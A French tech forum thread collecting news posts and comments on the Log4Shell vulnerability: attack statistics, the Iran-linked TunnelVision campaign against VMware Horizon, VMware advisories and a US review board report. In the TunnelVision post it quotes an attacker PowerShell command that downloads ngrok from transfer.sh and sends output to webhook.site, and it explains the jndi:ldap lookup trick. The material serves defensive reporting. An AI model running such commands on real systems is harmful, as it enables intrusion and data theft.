Discussion :

[marsupial]

Disons qu'il s'agit d'une entreprise qui fait une crise salutaire de parano dans le contexte cybersécuritaire actuel où la Maison Blanche a donné l'ordre à l'administration de bien vérifier la chaîne d'approvisionnement. A mon avis cette organisation a du faire la même demande à tous ses fournisseurs IT. Pour moi, il s'agit d'une démarche allant dans le bon sens. Le dialogue ne doit pas être rompu entre les deux parties évoquées pour déboucher sur une solution amiable. En tout cas, j'ai souri tant à la nouvelle qu'à certain commentaires.

[Invité]

Pour ceux qui travaillent ou ont eu l'occasion de travailler dans une multinationale (puisque c'est de ce type d'organisation qu'il s'agit manifestement), vous reconnaîtrez assez facilement le style (bourrin) du courriel, qui n'est pas l’œuvre d'un développeur, mais plutôt d'un cadre. Typiquement un chef de projet mis au pied du mur par sa hiérarchie. Sauf qui peut.

[Exagone313]

Toutes les licences de logiciel libre contiennent une clause qui spécifie que le logiciel vient sans garanti, donc, dans les limites de la loi, il n'y a aucune obligation de rendre des comptes en cas de faille de sécurité. Ensuite vient le problème de quel loi s'applique, d'autant plus quand l'auteur du logiciel libre n'a aucun marché dans le pays cible de l'entreprise utilisant ce logiciel.

[TotoParis]

Ce n'est pas un non évènement comme l'a écrit un mec ici. Le ton arrogant et brutal de cette énorme boite est tout simplement à vomir
Sans omettre qu'il avaient l'air de bien être à l'Ouest en plus.

[Christophe]

Malheureusement ça devient la norme.

[AoCannaille]

Le ton arrogant et brutal de cette énorme boite est tout simplement à vomir .

Le ton n'est pas arrogant, le mail est lisse, factuel et surtout impersonnel. En un mot : Une communication Professionnelle. Si tu trouve ce mail arrongant, j'espère que tu ne travaille pas dans des grosses boites car c'est tout simplement la seule méthode qu'ils ont pour communiquer par écrit.

Sans omettre qu'il avaient l'air de bien être à l'Ouest en plus.

A la rigueur c'est ça qui casse tout. Mais ça aussi c'est courant, une forme impeccable pour cacher qu'on pêche sur le fond... Faut juste pas prendre ça pour soi.

[valtena]

Le ton n'est pas arrogant, le mail est lisse, factuel et surtout impersonnel. En un mot : Une communication Professionnelle. Si tu trouve ce mail arrongant, j'espère que tu ne travaille pas dans des grosses boites car c'est tout simplement la seule méthode qu'ils ont pour communiquer par écrit.

Le mail arrive avec pas mal d'impératif. Quand tu lis la tournure du mail la réponse est due. C'est assez arrogant en dehors d'un lien de subordination. Qu'il soit lissé et automatisé n'enlève rien à la chose.

[AoCannaille]

Le mail arrive avec pas mal d'impératif. Quand tu lis la tournure du mail la réponse est due. C'est assez arrogant en dehors d'un lien de subordination. Qu'il soit lissé et automatisé n'enlève rien à la chose.

Mouais... En Anglais ça passe crème... La seule phrase un peu injonctive c'est "We request you review and respond within 24 hours of receiving this email." Tout le reste est vraiment plat...

Si j'étais dans la même situation que le monsieur, je pense que je ne me serais pas senti concerné et n'aurais sans doute pas pris la peine de répondre.

[Sandra Coret]

L'exploitation de Log4Shell se poursuit : plus de 30 000 scans signalés en janvier, la vulnérabilité continue de représenter une vaste menace pour les utilisateurs malgré le correctif publié par la Fondation Apache

Découverte en décembre 2021, Log4Shell est rapidement devenue tristement célèbre comme étant la vulnérabilité de l'année. Bien que la Fondation Apache ait publié un correctif pour cette CVE peu après sa découverte, cette vulnérabilité continue de représenter une vaste menace pour les particuliers et les organisations.

D’ailleurs, au cours des trois premières semaines de janvier, les produits Kaspersky ont bloqué 30 562 tentatives d'attaques contre des utilisateurs à l'aide d'exploits ciblant la vulnérabilité Log4Shell.

Cette vulnérabilité est extrêmement intéressante pour les cybercriminels car elle leur permet de prendre le contrôle total du système de la victime et est facile à exploiter.

Depuis qu'elle a été signalée pour la première fois, les produits Kaspersky ont détecté et empêché 154 098 tentatives de scan et d'attaque de terminaux exploitant la vulnérabilité Log4Shell. La plupart des systèmes attaqués étaient situés en Russie (13%), au Brésil (8,97%), aux Etats-Unis (7,36%). La France est à la 5e place (3,94%).

Bien que la Fondation Apache ait déjà publié un correctif pour cette CVE, il faut des semaines voire des mois aux fournisseurs pour mettre à jour leurs logiciels. Sans surprise, les experts de Kaspersky ont observé que les attaquants malveillants poursuivent leurs scans à grande échelle pour exploiter Log4Shell. Au cours des trois premières semaines de janvier, les produits Kaspersky ont bloqué 30 562 tentatives d'attaques contre des utilisateurs à l'aide d'exploits ciblant la vulnérabilité Log4Shell. En outre, près de 40 % de ces tentatives ont été détectées dans les cinq premiers jours du mois, du 1er au 5 janvier.

Evgeny Lopatin, expert sécurité Kaspersky, explique : « Nous constatons que les analyses et les tentatives d'attaques utilisant Log4Shell sont beaucoup moins nombreuses qu'au cours des premières semaines suivant sa découverte. Pourtant, les tentatives d'exploitation de cette vulnérabilité devraient se poursuivre. Comme le montre notre télémétrie, les cybercriminels poursuivent leurs activités d'analyse de masse et tentent de capitaliser sur le code exploitable. Cette vulnérabilité est exploitée à la fois par des acteurs de la menace avancée qui ciblent des organisations spécifiques ainsi que par des opportunistes qui cherchent tout simplement des systèmes vulnérables à attaquer. Nous demandons instamment à tous ceux qui ne l'ont pas encore fait de se mettre à jour et d'utiliser une solution de sécurité forte pour se protéger. »

Les produits Kaspersky protègent contre les attaques exploitant les vulnérabilités, y compris l'utilisation de PoCs sous les noms suivants :

- UMIDS:Intrusion.Generic.CVE-2021-44228.
- PDM:Exploit.Win32.Generic.

Pour se prémunir contre cette nouvelle vulnérabilité, les experts de Kaspersky recommandent :

• D'installer la version la plus récente de la bibliothèque. Vous pouvez la télécharger sur la page du projet. Si vous utilisez la bibliothèque d'un produit tiers, vous devrez surveiller et installer les mises à jour opportunes d'un fournisseur de logiciels.
  
  
• De suivre les directives du projet Apache Log4j
  
  
• L’utilisation par les entreprises d’une solution de sécurité qui fournit des composants de prévention de l'exploitation des vulnérabilités et de gestion des correctifs, comme Kaspersky Endpoint Security for Business. Le composant Automatic Exploit Prevention de Kaspersky surveille également les actions suspectes sur les applications et bloque les exécutions de fichiers malveillants.
  
  
• L’utilisation de solutions telles que Kaspersky Endpoint Detection and Response et Kaspersky Managed Detection and Response , qui permettent d'identifier et de stopper les attaques à un stade précoce, avant que les attaquants ne puissent atteindre leur objectif final.

A propos de Kaspersky

Kaspersky est une société internationale de cybersécurité et de protection de la vie privée numérique fondée en 1997. L’expertise de Kaspersky en matière de « Threat Intelligence » et sécurité informatique vient constamment enrichir la création de solutions et de services de sécurité pour protéger les entreprises, les infrastructures critiques, les autorités publiques et les particuliers à travers le monde.

Source : Kaspersky

Et vous ?

Qu'en pensez-vous ?
Votre entreprise est-elle victime de l'exploitation de cette vulnérabilité ?
Quelles sont les dispositions prises pour s'en prémunir ?

Voir aussi :

Plus de 35 000 packages Java impactés par les vulnérabilités Log4j, selon un rapport de l'équipe open source de Google

Jamais deux sans trois : Apache révèle un autre bogue dans la bibliothèque de journalisation Log4J, le troisième correctif majeur en dix jours est une faille de récursivité infinie

Une quatrième vulnérabilité découverte dans la bibliothèque de journalisation Log4J, les utilisateurs sont conviés à passer à la version 2.17.1

[thamn]

[B][SIZE=4]
Pour se prémunir contre cette nouvelle vulnérabilité, les experts de Kaspersky recommandent :

• D'installer la version la plus récente de la bibliothèque. Vous pouvez la télécharger sur la page du projet. Si vous utilisez la bibliothèque d'un produit tiers, vous devrez surveiller et installer les mises à jour opportunes d'un fournisseur de logiciels.

Au oui oui oui en effet c'est une bonne recommandation, merci les gars hein

[Stéphane le calme]

Log4shell : les serveurs VMware Horizon seraient activement exploités par des hackers affiliés à l'Iran,
le groupe TunnelVision exploite la faille critique sur Log4j pour attaquer des cibles au ransomware

SentinelLabs a suivi l'activité d'un acteur malveillant affilié à l'Iran opérant au Moyen-Orient et aux États-Unis. En raison de la forte dépendance de l'acteur malveillant aux outils de tunnellisation, ainsi que de la manière unique dont il choisit de les déployer largement, l'équipe suit ce groupe d'activités sous le nom de TunnelVision. Tout comme d'autres acteurs malveillants iraniens opérant dans la région ces derniers temps, les activités de TunnelVision étaient liées au déploiement de rançongiciels, faisant du groupe un acteur potentiellement destructeur.

Des hackers qui seraient affiliés au gouvernement iranien exploitent la vulnérabilité critique Log4j pour attaquer au ransomware les utilisateurs de VMware utilisant des versions non corrigés, ont déclaré jeudi des chercheurs.

La société de sécurité SentinelOne a baptisé le groupe TunnelVision. Le nom est destiné à souligner la forte dépendance de TunnelVision vis-à-vis des outils de tunnellisation et la manière unique dont il les déploie. Dans le passé, TunnelVision a exploité les vulnérabilités dites 0-day pour pirater les organisations. Les vulnérabilités dans Fortinet FortiOS (CVE-2018-13379) et Microsoft Exchange (ProxyShell) sont deux des cibles les plus connues du groupe.

Pour mémoire, une vulnérabilité zero-day ou 0-day (en anglais zero-day vulnerability) désigne une faille de sécurité informatique dont l'éditeur du logiciel ou le fournisseur de service n'a pas encore connaissance, ou qui n'a pas encore reçu de correctif. Par extension, on parle d'exploitation zero-day (zero-day exploit) lorsque ce type de faille est utilisé par des cyberdélinquants pour lancer des attaques contre des installations vulnérables.

Vient alors Log4Shell

Récemment, a rapporté SentinelOne, TunnelVision a commencé à exploiter une vulnérabilité critique dans Log4j, un utilitaire de journalisation open source intégré à des milliers d'applications. CVE-2021-44228 (ou Log4Shell, comme la vulnérabilité est surnommée) permet aux attaquants de prendre facilement le contrôle à distance des ordinateurs exécutant des applications dans le langage de programmation Java.

La recherche SentinelOne montre qu'une campagne exploitant cette faille est lancée et cible es organisations exécutant VMware Horizon, un produit de virtualisation de postes de travail et d'applications qui s'exécute sous Windows, macOS et Linux.

Exploitation de VMware Horizon

L'exploitation de Log4j dans VMware Horizon se caractérise par un processus malveillant généré à partir du service Tomcat du produit VMware (C:\Program Files\VMware\VMware View\Server\bin\ws_TomcatService.exe).

Les attaquants de TunnelVision exploitent activement la vulnérabilité pour exécuter des commandes PowerShell malveillantes, déployer des portes dérobées, créer des utilisateurs de porte dérobée, collecter des informations d'identification et effectuer des mouvements latéraux.

En règle générale, l'auteur malveillant exploite initialement la vulnérabilité Log4j pour exécuter directement des commandes PowerShell, puis exécute d'autres commandes au moyen de shells inversés PS, exécutés via le processus Tomcat.

Apache Tomcat est un serveur Web open source que VMware et d'autres logiciels d'entreprise utilisent pour déployer et servir des applications Web basées sur Java. Une fois installé, un shell permet aux hackers d'exécuter à distance les commandes de leur choix sur les réseaux exploités. Une fois installé, les membres de TunnelVision l'utilisent pour :

• Exécuter les commandes de reconnaissance
• Créer un utilisateur de porte dérobée et l'ajouter au groupe d'administrateurs réseau
• Collecter les informations d'identification à l'aide de ProcDump, de comsvcs MiniDump ou d'un hive dump de SAM (Security Account Manager ou gestionnaire des comptes de sécurité). SAM est la base de données des comptes locaux sur Windows Server 2003, Windows XP, Windows 2000. C'est l'un des composants de la base de registre. Elle contient les mots de passe locaux. et de comsvcs MiniDump
• Télécharger et exécuter des outils de tunnellisation, y compris Plink et Ngrok, qui sont utilisés pour tunnelliser le trafic du protocole de bureau à distance

Commandes PowerShell

Les opérateurs de TunnelVision ont exploité la vulnérabilité Log4j dans VMware Horizon pour exécuter des commandes PowerShell, renvoyant les sorties à l'aide d'un webhook. Dans cet exemple, l'auteur malveillant a tenté de télécharger ngrok sur un serveur VMware Horizon compromis*:

Code Powershell :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
5
6
7
8
try{
    (New-Object System.Net.WebClient).DownloadFile("hxxp://transfer.sh/uSeOFn/ngrok.exe","C:\\Users\Public\public.exe");
    Rename-Item 'c://Users//public//new.txt' 'microsoft.exe';
    $a=iex 'dir "c://Users//public//"' | Out-String;
    iwr -method post -body $a https://webhook.site/{RANDOM-GUID} -UseBasicParsing;
}catch{
    iwr -method post -body $Error[0] https://webhook.site/{RANDOM-GUID} -UseBasicParsing;
}

Tout au long de l'activité, l'utilisation de plusieurs services légitimes a été observée. Étant donné qu'un environnement est compromis par TunnelVision, il peut être utile de rechercher des connexions sortantes vers l'un de ces services publics légitimes*:

• transfert.sh
• pastebin.com
• webhook.site
• ufile.io
• raw.githubusercontent.com

VMware corrige les vulnérabilités critiques invité-hôte

Dans un avis cette semaine, VMware a alerté les utilisateurs des vulnérabilités invité-hôte dans les contrôleurs USB XHCI et UHCI de son hyperviseur ESXi, ainsi que d'une faille importante corrigée dans NSX Data Center for vSphere.

Au total, cinq vulnérabilités ont été découvertes dans ESXi, Workstation, Cloud Foundation (ESXi) et Fusion de VMware lors de la Tianfu Cup 2021, une compétition de hacking similaire à Pwn2Own et qui se déroule en Chine, par le Kunlun Lab du pays. Les bogues découverts par Kunlun ont été divulgués en privé à VMware – bien que l'année dernière, la Chine ait adopté une nouvelle loi ordonnant aux chercheurs en sécurité de révéler leurs découvertes au ministère de la Sécurité publique du pays au moins deux jours avant tout le monde.

Le vendeur a déclaré qu'il n'avait vu aucune preuve que les conclusions du concours avaient été exploitées par des hackers. Des correctifs ont été publiés, c'est maintenant aux administrateurs de les implémenter. Les vulnérabilités vont des failles use-after-free() et double-fetch qui peuvent être exploitées pour exécuter du code sur l'hôte, à un déni de service (DoS) à l'ancienne. La liste complète pour ESXi, Workstation, Cloud Foundation et Fusion est*:

• CVE-2021-22040, Vulnérabilité Use-after-free() dans le contrôleur USB XHCI
• CVE-2021-22041, Vulnérabilité de double extraction dans le contrôleur USB UHCI
• CVE-2021-22042, vulnérabilité d'accès non autorisé aux paramètres ESXi
• CVE-2021-22043, paramètres ESXi et vulnérabilité TOCTOU
• CVE-2021-22050, vulnérabilité de déni de service HTTP POST lente d'ESXi (découverte par SolidLab en Russie)

« Les vulnérabilités individuelles documentées sur cette VMSA (VMware Security Advisory) ont une gravité importante/modérée, mais la combinaison de ces problèmes peut entraîner une gravité plus élevée, d'où la gravité de cette VMSA est au niveau de gravité critique », a déclaré VMware.

Les bogues des contrôleurs USB XHCI et UHCI peuvent être exploités par une personne malveillante disposant de privilèges administratifs dans une machine virtuelle pour exécuter du code en tant que processus VMX de la machine virtuelle exécuté sur l'hôte. Si les lecteurs ont un sentiment de déjà-vu à ce sujet, c'est parce qu'une vulnérabilité décrite de manière presque identique a été signalée en 2020 et suivie sous le nom de CVE-2020-4004.

VMware a noté*: « En bref, les correctifs VMware ESXi, Workstation et Fusion sont les méthodes les plus rapides pour résoudre ces problèmes. Il existe également une solution de contournement*: supprimer les contrôleurs USB des machines virtuelles, bien que cela puisse être irréalisable à grande échelle et n'élimine pas le une menace potentielle comme le font les correctifs ».

Ainsi, si vous avez des machines virtuelles avec ces contrôleurs USB déjà retirés, vous pouvez pousser un petit soupir de soulagement.

Pendant ce temps, les failles de settingsd peuvent être exploitées pour écrire dans des fichiers arbitraires ou accéder au service en tant qu'utilisateur disposant de privilèges plus élevés. La faille NSX peut être exploitée par un utilisateur disposant d'un accès SSH à un équipement NSX-Edge pour exécuter des commandes en tant que root. Ceci est également présent dans Cloud Foundation (NSX-V).

Historique de la faille affectant Log4J

Le 9 décembre, une vulnérabilité a été découverte dans la bibliothèque de journalisation Apache log4j. Cette bibliothèque est très souvent utilisée dans les projets de développement d'application Java/J2EE ainsi que par les éditeurs de solutions logicielles sur étagère basées sur Java/J2EE.

Log4j inclut un mécanisme de recherche qui pourrait être utilisé pour effectuer des requêtes via une syntaxe spéciale dans une chaîne de format. Par exemple, il peut être utilisé pour demander divers paramètres comme la version de l'environnement Java via ${java:version}, etc. Ensuite, en spécifiant la clé jndi dans la chaîne, le mécanisme de recherche utilise l'API JNDI. Par défaut, toutes les requêtes sont effectuées en utilisant le préfixe java:comp/env/*; cependant, les auteurs ont implémenté l'option d'utiliser un préfixe personnalisé au moyen d'un symbole deux-points dans la clé. C'est là que réside la vulnérabilité : si jndi:ldap:// est utilisé comme clé, la requête va au serveur LDAP spécifié. D'autres protocoles de communication, tels que LDAPS, DNS et RMI, peuvent également être utilisés.

Ainsi, un serveur distant contrôlé par un attaquant pourrait renvoyer un objet à un serveur vulnérable, entraînant potentiellement l'exécution de code arbitraire dans le système ou la fuite de données confidentielles. Tout ce qu'un attaquant doit faire est d'envoyer une chaîne spéciale via le mécanisme qui écrit cette chaîne dans un fichier journal et est donc gérée par la bibliothèque Log4j. Cela peut être fait avec de simples requêtes HTTP, par exemple, celles envoyées via des formulaires Web, des champs de données, etc., ou avec tout autre type d'interactions utilisant la journalisation côté serveur.

La vulnérabilité a été caractérisé par Tenable comme « la vulnérabilité la plus importante et la plus critique de la dernière décennie ».

Les membres de l’Apache Software Fondation ont développé un patch en catastrophe pour corriger la vulnérabilité, la version 2.15.0. Des contournements sont également possibles pour réduire les risques.

Mais les chercheurs ont signalé qu'il existe au moins deux vulnérabilités dans le correctif, publié sous le nom de Log4J 2.15.0, et que les attaquants exploitent activement l'une d'entre elles ou les deux contre des cibles du monde réel qui ont déjà appliqué la mise à jour. Les chercheurs ont exhorté les organisations à installer un nouveau correctif, publié en tant que version 2.16.0, dès que possible pour corriger la vulnérabilité, qui est suivie comme CVE-2021-45046.

Le correctif précédent, ont déclaré les chercheurs, « était incomplet dans certaines configurations autres que celles par défaut » et permettait aux attaquants d'effectuer des attaques par déni de service, ce qui facilite généralement la mise hors ligne des services vulnérables jusqu'à ce que les victimes redémarrent leur serveurs ou prennent d'autres mesures. La version 2.16.0 « résout ce problème en supprimant la prise en charge des modèles de recherche de messages et en désactivant la fonctionnalité JNDI par défaut », selon l'avis de vulnérabilité lié ci-dessus.

La version 2.15.0 ne résolvait pas un autre problème - CVE-2021-45046 - qui permettait à un attaquant distant contrôlant le Thread Context Map (MDC) de préparer une entrée malveillante à l'aide d'un modèle de recherche JNDI. Le résultat pourrait être l'exécution de code à distance, heureusement pas dans tous les environnements.

La version 2.16.0 a résolu ce problème. Mais elle n'a pas corrigé CVE-2021-45105, que l'Apache Software Foundation décrit comme suit :

« Les versions 2.0-alpha1 à 2.16.0 d'Apache Log4j2 ne protégeaient pas contre la récursivité incontrôlée des recherches auto-référentielles. Lorsque la configuration de la journalisation utilise une disposition de modèle autre que celle par défaut avec une recherche de contexte (par exemple, $${ctx:loginId}), les attaquants contrôlant les données d'entrée de Thread Context Map (MDC) peuvent créer des données d'entrée malveillantes contenant une recherche récursive, ce qui entraîne une StackOverflowError qui mettra fin au processus. Ceci est également connu sous le nom d'attaque DOS (Denial of Service) ».

La faille a été corrigée dans Log4j 2.17.0 (Java 8).

Un autre bogue critique d'exécution de code à distance, suivi en tant que CVE-2021-44832 a été découvert dans la même bibliothèque de journalisation Apache Log4j. Il s'agit de la quatrième vulnérabilité de la bibliothèque Log4j.

Classé « modéré » en gravité avec un score de 6,6 sur l'échelle CVSS, la vulnérabilité provient du manque de contrôles supplémentaires sur l'accès JDNI dans log4j.

« JDBC Appender doit utiliser JndiManager lors de l'accès à JNDI. L'accès JNDI doit être contrôlé via une propriété système », est-il indiqué sur la description du problème. « Lié à CVE-2021-44832 où un attaquant autorisé à modifier le fichier de configuration de journalisation peut construire une configuration malveillante à l'aide d'un appender JDBC avec une source de données référençant un URI JNDI qui peut exécuter du code à distance. »

L'équipe de sécurité d'Apache a publié une autre version d'Apache Log4J (version 2.17.1) corrigeant le bogue d'exécution de code à distance CVE-2021-44832 récemment découvert. C'est une autre mauvaise situation pour la plupart des utilisateurs, mais, encore une fois, il est fortement recommandé de mettre son système à jour pour résoudre ce problème critique.

La directrice de la CISA, Jen Easterly, a indiqué plus tôt cette année que la vulnérabilité, qui affecte des dizaines de millions d'appareils connectés à Internet, est la pire qu'elle ait vue dans sa carrière. Il est possible, a-t-elle dit, que les attaquants patientent, attendant que les entreprises et autres baissent leurs défenses avant d'attaquer : « Nous nous attendons à ce que Log4Shell soit utilisé dans les intrusions dans le futur », a déclaré Easterly. Elle a noté la violation de données d'Equifax en 2017, qui a compromis les informations personnelles de près de 150 millions d'Américains, découlait d'une vulnérabilité dans un logiciel open source.

Sources : SentinelOne, VMWare (1, 2)

Et vous ?

Avez-vous déjà effectué les mises à jour pour corriger Log4J ?
Partagez-vous l'opinion de la directrice du CISA qui s'attend à des retombées de la faille qui vont s'étendre sur des années ?

Voir aussi :

95 000 cyberattaques ont été recensées cette année, une augmentation de 45 398 par rapport à 2020, les grandes entreprises étant les plus ciblées, selon Orange Cyberdefense
Les ransomwares ont augmenté de 62 % depuis 2019, avec un pic de 158 % en Amérique du Nord, les cybercriminels utilisant des tactiques plus sophistiquées et des variantes plus dangereuses comme Ryuk
Les entreprises de taille moyenne sont 490 % plus susceptibles d'être victimes d'une atteinte à la vie privé, dû au manque de ressources et au coût élevé des expertises, selon Coro

[Bill Fassinou]

Un nouveau groupe de travail sur la cybersécurité affirme que la faille du logiciel Log4j est "endémique"
et qu'elle pourrait poser des risques de sécurité pendant une décennie ou plus

Alors que les organisations se démènent pour colmater les brèches liées à la faille du logiciel Log4j, un nouveau rapport estime que cette vulnérabilité est "endémique" et qu'elle posera des risques de sécurité pendant potentiellement une décennie ou plus. Le rapport, publié jeudi par un comité d'examen de la cybersécurité (The Cyber Safety Review Board - CSRB) créé par le président américain Joe Biden, indique également que la faille de Log4j est l'une des vulnérabilités logicielles les plus graves de l'histoire et que, même s'il n'y a pas eu de signe de cyberattaque majeure due cet exploit, les entreprises auront du mal à s'en débarrasser.

Log4j est une bibliothèque logicielle utilitaire open source programmée en langage Java. Il enregistre les événements - erreurs et opérations de routine d'un système - et communique des messages de diagnostic à leur sujet aux administrateurs et aux utilisateurs du système. Le logiciel est fourni par l'Apache Software Foundation. Un exemple courant de Log4j au travail est lorsque vous tapez ou cliquez sur un mauvais lien Web et obtenez un message d'erreur 404. Le serveur qui gère le domaine de l'adresse Web que vous avez essayé d'atteindre vous indique qu'il n'existe pas une page Web de ce type.

Il enregistre également cet événement dans un journal destiné aux administrateurs système du serveur à l'aide de Log4j. Des messages de diagnostic similaires sont utilisés dans toutes les applications logicielles. Par exemple, dans le jeu en ligne Minecraft, Log4j est utilisé par le serveur pour enregistrer des activités telles que la mémoire totale utilisée et les commandes utilisateur tapées dans la console. Seulement, une faille découverte dans le logiciel fin 2021 permettrait aux attaquants de prendre facilement le contrôle de tout, des systèmes de contrôle industriels aux serveurs Web et aux appareils électroniques grand public.

Les premiers signes évidents de l'exploitation de la faille sont apparus dans Minecraft de Microsoft. La découverte de la faille a suscité des mises en garde urgentes de la part des responsables gouvernementaux et des efforts massifs de la part des professionnels de la cybersécurité pour corriger les systèmes vulnérables. Le CSRB a déclaré jeudi qu'à sa grande surprise, l'exploitation du bogue de Log4j s'était produite à des niveaux inférieurs à ceux prévus par les experts. « Log4j est l'une des failles logicielles les plus graves de l'histoire », a déclaré le président du comité, Rob Silvers, sous-secrétaire du ministère de la Sécurité intérieure (DHS).

Le comité a ajouté qu'il n'avait pas connaissance d'attaques "importantes" liées à la vulnérabilité de Log4j sur des systèmes d'infrastructures critiques, mais a noté que certaines cyberattaques ne sont pas signalées. Le groupe a allégué que de futures attaques sont probables, en grande partie parce que Log4j est couramment intégré à d'autres logiciels et qu'il peut être difficile pour les organisations de détecter son fonctionnement dans leurs systèmes. Selon les analystes, la bibliothèque Log4j est extrêmement populaire auprès des développeurs de logiciels commerciaux. « Cet événement n'est pas terminé », prévient Silvers.

Pour mémoire, un chercheur en sécurité d'Alibaba a informé la fondation le 24 novembre. Il a fallu deux semaines pour développer et publier un correctif. Les médias chinois ont rapporté que le gouvernement avait puni Alibaba pour ne pas avoir signalé la faille plus tôt aux responsables de l'État. Le comité a déclaré jeudi qu'il avait trouvé des "éléments troublants" dans la politique du gouvernement chinois en matière de divulgation des vulnérabilités, affirmant que cela pouvait donner aux pirates informatiques de l'État chinois un aperçu précoce des failles informatiques qu'ils pouvaient utiliser à des fins néfastes.

La vulnérabilité de Log4j peut être exploitée à distance pour permettre l'exécution de code sur les systèmes vulnérables et a reçu un score de gravité CVSS maximal de 10 sur 10. Selon le CSRB, ces groupes affiliés à l'État chinois pourraient exploiter ce type de failles pour voler des secrets commerciaux ou espionner les dissidents. Le gouvernement chinois a longtemps nié tout acte répréhensible dans le cyberespace et a déclaré qu'il encourageait un meilleur partage des informations sur les vulnérabilités des logiciels. Le CSRB est composé de 15 responsables de la cybersécurité issus du secteur privé et du gouvernement.

Le groupe d'experts a été chargé d'examiner les événements majeurs en matière de cybersécurité et de formuler des recommandations pour améliorer la cybersécurité des secteurs public et privé. Le rapport sur la vulnérabilité de Log4J est le premier publié par le CSRB depuis sa création par le président Biden en février 2022. Pour l'examen de la vulnérabilité de Log4j, le CSRB s'est entretenu avec près de 80 organisations pour comprendre comment la vulnérabilité a été ou est encore atténuée, afin d'élaborer des recommandations concrètes pour prévenir et répondre efficacement à de futurs incidents de ce type.

Le rapport du CSRB est divisé en trois sections, fournissant des informations factuelles sur la vulnérabilité et ce qui s'est passé, les résultats et les conclusions basés sur une analyse des faits, et une liste de recommandations. Les 19 recommandations exploitables sont réparties en quatre catégories : traiter les risques continus liés aux vulnérabilités du logiciel Log4j ; conduire les meilleures pratiques existantes en matière d'hygiène de sécurité ; construire un meilleur écosystème logiciel ; et les investissements dans l'avenir. Le groupe recommande également d'investir plus dans la formation d'expert en cybersécurité.

L'une des recommandations les plus importantes est de créer et de maintenir un inventaire précis des actifs informatiques, car les vulnérabilités ne peuvent être traitées si l'on ne sait pas où elles existent. Il est essentiel de disposer d'une nomenclature complète des logiciels (SBOM) qui inclut tous les composants logiciels tiers et les dépendances utilisés dans les solutions logicielles. L'un des plus gros problèmes pour traiter les vulnérabilités de Log4j est de comprendre quels produits ont été affectés. Le rapport recommande également aux entreprises de développer un programme de réponse aux vulnérabilités.

En outre, le CSRB conseille aux entreprises de mettre en place un processus de divulgation et de traitement des vulnérabilités, et suggère au gouvernement américain d'étudier la viabilité d'un centre d'excellence pour l'évaluation des risques de sécurité des logiciels. « Jamais auparavant les responsables informatiques de l'industrie et du gouvernement ne s'étaient réunis de cette manière pour examiner des incidents graves, identifier ce qui s'est passé et conseiller l'ensemble de la communauté sur la façon dont nous pouvons faire mieux à l'avenir », a déclaré Silvers la semaine dernière.

« Notre examen de Log4j a donné lieu à des recommandations qui, nous en sommes convaincus, peuvent conduire à des changements et améliorer la cybersécurité », a-t-il ajouté. Le décret de Biden demande également au comité de procéder à un examen de la campagne massive de cyberespionnage prétendument russe connue sous le nom de SolarWinds. Les pirates informatiques russes auraient réussi à pénétrer dans plusieurs agences fédérales, y compris dans des comptes appartenant à de hauts responsables de la cybersécurité du DHS, bien que les retombées de cette campagne ne soient pas encore claires.

Source : Rapport du Cyber Safety Review Board (PDF)

Et vous ?

Quel est votre avis sur le sujet ?
Que pensez-vous des conclusions du rapport du CSRB ?

Voir aussi

Deuxième vulnérabilité Log4j découverte : un correctif est déjà publié, le correctif de la première vulnérabilité étant « incomplet »

Log4j : une entreprise du Fortune 500 exige des réponses rapides et gratuites du créateur de cURL, qui leur a indiqué qu'il le ferait « dès que nous aurons signé un contrat de support »

L'exploitation de Log4Shell se poursuit : plus de 30 000 scans signalés en janvier, la vulnérabilité continue de représenter une vaste menace malgré le correctif publié par la Fondation Apache

[marsupial]

Les recommandations font preuve de bon sens mais ont-ils pensé à la cruelle pénurie de ressources pour les appliquer en dehors de la demande de formation ?

[Sandra Coret]

Les équipes de sécurité trouvent plus facile d'atténuer Log4Shell plutôt que de le corriger définitivement, le délai moyen de remédiation après détection est de 17 jours, selon Qualys Cloud Platform

Lorsque la vulnérabilité Log4Shell est apparue en décembre de l'année dernière, ses effets se sont fait sentir dans le monde de la cybersécurité, avec des millions de dispositifs potentiellement touchés.

Une nouvelle étude de Qualys examine la manière dont les entreprises ont réagi à cette vulnérabilité et le succès de leurs efforts de remédiation.

Les mauvais acteurs ont réagi rapidement, avec près d'un million de tentatives d'attaques lancées en 72 heures seulement après la divulgation de la vulnérabilité Log4Shell. Et bien sûr, les attaques ont eu lieu à l'approche des fêtes de fin d'année, alors que de nombreuses équipes de sécurité n'avaient que des effectifs réduits.

La Qualys Cloud Platform a analysé plus de 150 millions d'actifs informatiques à travers le monde et a détecté 22 millions d'installations d'applications vulnérables. Log4Shell a été détecté dans plus de trois millions d'instances vulnérables.

Plus de 50 % des installations d'applications avec Log4j ont été signalées comme étant "en fin de support", avec peu de chances que les éditeurs fournissent des correctifs de sécurité pour Log4Shell. Plus de 80 % des ressources vulnérables se trouvaient sur des systèmes Linux.

Le délai moyen de remédiation après détection était de 17 jours. Les systèmes qui pouvaient être exploités à distance ont été corrigés plus rapidement (12 jours), tandis que les systèmes internes ont été plus lents. Les efforts ont également ralenti après le premier mois, peut-être parce que les équipes de sécurité ont trouvé plus facile d'atténuer Log4Shell plutôt que de le corriger définitivement.

"Tout le monde parlait de cette vulnérabilité au début du mois de décembre et nous en parlons encore à la mi-mars. Cela montre qu'il y a encore beaucoup de choses à régler concernant les bases de la cybersécurité", déclare Paul Baird, responsable de la sécurité technique au Royaume-Uni chez Qualys. "En regardant les données, Log4J est incroyablement répandu et il a été discuté à grande échelle. Cette vulnérabilité est facile à exploiter lorsque les correctifs et les mesures d'atténuation n'ont pas été mis en œuvre. De par sa nature, Log4Shell est difficile à détecter, sauf si vous disposez d'outils capables de trouver la vulnérabilité dans tous les recoins de votre environnement. Les équipes sont incapables de prendre des mesures d'atténuation et sont donc en danger."

Qualys a également développé un nouvel utilitaire d'analyse Log4j open-source pour faire gagner un temps précieux aux équipes de sécurité.

Source : Qualys Cloud Platform

Et vous ?

Qu'en pensez-vous ?

Voir aussi :

Plus de 35 000 packages Java impactés par les vulnérabilités Log4j, selon un rapport de l'équipe open source de Google

Log4j : une entreprise du Fortune 500 exige des réponses rapides et gratuites du créateur de cURL, qui leur a indiqué qu'il le ferait « dès que nous aurons signé un contrat de support »

Un bogue vieux de 12 ans dans polkit permet d'obtenir des privilèges « root » sur les principales distributions GNU/Linux, Ubuntu et Red Hat ont déjà publié des correctifs

[Sandra Coret]

Les 10 principales cibles attaquables par Log4j, qui continue d'être un problème pour les entreprises : VMWare Horizon est en tête, suivie de Jamf et PingFederate, selon une étude de Randori

